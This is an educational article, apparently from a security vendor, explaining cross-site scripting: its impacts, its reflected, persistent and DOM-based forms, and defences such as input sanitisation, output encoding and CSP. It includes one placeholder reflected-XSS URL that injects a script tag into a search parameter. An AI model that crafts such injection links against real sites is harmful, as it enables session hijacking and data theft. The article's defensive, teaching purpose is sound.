What is cross-site scripting (XSS)?
Cross-site scripting (XSS) is a code injection security attack targeting web applications that delivers malicious, client-side scripts to a user’s web browser for execution. Targets are not attacked directly, rather vulnerable websites and web applications are used to carry out cross-site scripting attacks when users interact with these sites/applications.
For example, an unsuspecting user will visit a compromised website, triggering the attacker's script to load and execute in the user's browser. This can result in the theft of sensitive data, session hijacking, and other malicious actions.
JavaScript is a common language used in XSS attacks due to its broad browser support, but any language supported by the browser can be used. Despite being around for over 15 years, XSS remains a common and highly effective attack vector.
Like SQL injection attacks, XSS exploits input validation flaws in web applications—but instead of targeting backend databases, it injects malicious scripts into frontend code that executes in users’ browsers.
Learn more about the common types of cyberattacks.
What are the impacts of cross-site scripting?
When a web page is compromised with cross-site scripting, a collection of issues can quickly emerge. Possible concerns include, but are not limited to:
- Sensitive user data being exposed
- Attackers seizing online accounts and impersonating users
- Vandalism of website content presentation
- Upload of malicious ‘Trojan horse’ programs
- Redirect of web pages to harmful locations
Cross-site scripting can be highly detrimental if it is not detected and remediated quickly. With businesses and clients both at risk of XSS attacks, reputations and professional relationships can be negatively impacted following a successful malware injection.
One high-profile example occurred during the 2018 Holiday Season with the rise of 'Magecart', a credit card-skimming malware that exploited client-side vulnerabilities by injecting malicious scripts into online checkout pages. This widespread campaign highlighted the dangers of script-based attacks and how easily user data can be exfiltrated.
Because XSS vulnerabilities can sometimes remain undiscovered for long periods, they are occasionally leveraged in a zero day attack—before developers are even aware of the flaw, let alone able to patch it.
Types of cross-site scripting attacks
Cross-site scripting attacks are typically categorized as one of the following types.
- Reflected XSS
- Persistent XSS
- Dom-Based XSS
Reflected XSS
A reflected XSS attack involves a vulnerable website accepting data (i.e. malicious script) sent by the target’s own web browser to attack the target with. Because the malicious script is sent by the client itself and is not stored on the vulnerable server, this type of attack is also referred to as “non-persistent.”
A simple example of a reflected XSS attack could involve an attacker crafting up a URL that passes a small, malicious script as a query parameter to a website that has a search page vulnerable to XSS:
http://vulnerable-website.com/search?search_term=”<script>(bad things happen here)</script>”
The attacker then needs to have targets visit this URL from their web browsers. This could be accomplished by sending an email containing the URL (with plausible reason to trick the user into clicking it) or publishing the URL to a public, non-vulnerable website for targets to click.
When a target does click the link, the vulnerable site accepts the query parameter “search_term”, expecting that the value is something the target is interested in searching the vulnerable-website.com site for, when in reality the value is the malicious script.
The search page then, as most website search pages will do when a user is searching for something, displays “Searching for <seach_term>...”, but because the vulnerable site didn’t sanitize the search_term value, the malicious script is injected into the webpage that the target’s browser is loading and is then executed by the target’s browser.
Persistent XSS
As the name implies, a persistent XSS attack is stored/persisted on the vulnerable server itself. Unlike a reflected attack, where the malicious script is sent by the target, users of a vulnerable website or web app can be attacked during their usual interactions with the vulnerable site/app.
A simple example of a persistent XSS attack could involve an attacker posting a message to a forum hosted on a vulnerable website. Rather than a usual, innocuous forum post, this post content contains the attacker’s malicious script. When a user visits this forum post, their web browser loads and executes the malicious script.
As you can see, a key differentiator between reflected and persistent XSS attacks is that persistent XSS attacks consider all users of a vulnerable site/app as targets for attack.
DOM-Based XSS
Another type of XSS attack is DOM-based, where the vulnerability exists in the client-side scripts that the site/app always provides to visitors. This attack differs from reflected and persistent XSS attacks in that the site/app doesn’t directly serve up the malicious script to the target’s browser. In a DOM-based XSS attack, the site/app has vulnerable client-side scripts which deliver the malicious script to the target’s browser. Similar to a reflected attack, a DOM-based attack does not store the malicious script on the vulnerable server itself.
A simple example of a DOM-based XSS attack could involve the same setup for the reflected XSS example scenario above. The attacker creates a URL with a malicious script as the “search_term” and solicits it to potential targets.
Once a target clicks the URL, their browser loads the site search page and the vulnerable client-side processing scripts. While the “seach_term” is still provided as a query parameter to the site back end for processing, the site itself does not generate the web page with the injected malicious script.
Instead, the site’s vulnerable client-side scripts are designed to locally (in the target’s browser) dynamically substitute in the search term value (i.e. the malicious script) in the target’s rendered search page, causing the target’s browser to load and execute the attacker’s script.
DOM-based XSS attacks highlight the fact that XSS vulnerabilities aren’t limited to server-side software.
How to prevent cross-site scripting attacks
With multiple variations of cross-site scripting attacks, organizations need to implement layered protections—from input validation to dynamic application security testing (DAST) tools—to prevent exploitation of web application vulnerabilities. As modern applications evolve through fast-paced CI/CD pipelines, introducing security early in the software development lifecycle is critical to preventing XSS vulnerabilities from reaching production. The frequency of attacks is likely to rise, making proactive prevention essential.
The following best practices can help safeguard your users against XSS attacks:
Sanitize user input
- Validate all user-provided input to detect potentially malicious content.
- Encode output to prevent untrusted data from triggering automatic execution in the browser.
Limit use of user-provided data
- Only accept and use user input where absolutely necessary.
Utilize a Content Security Policy (CSP):
- CSPs provide an extra layer of protection against XSS by restricting the sources from which scripts can be executed.
Run vulnerability scans regularly:
- Use a web application vulnerability scanning tool to detect XSS and other injection flaws in your application.
Conduct manual penetration testing
- In addition to automated tools, penetration testing helps uncover complex or hidden XSS vulnerabilities by simulating real-world attack scenarios.
Provide security awareness training
- Human error and social engineering often play a role in the success of XSS attacks.
- Implementing regular security awareness training can help employees recognize suspicious links, phishing attempts, and unsafe browsing behaviors that may expose them to malicious scripts.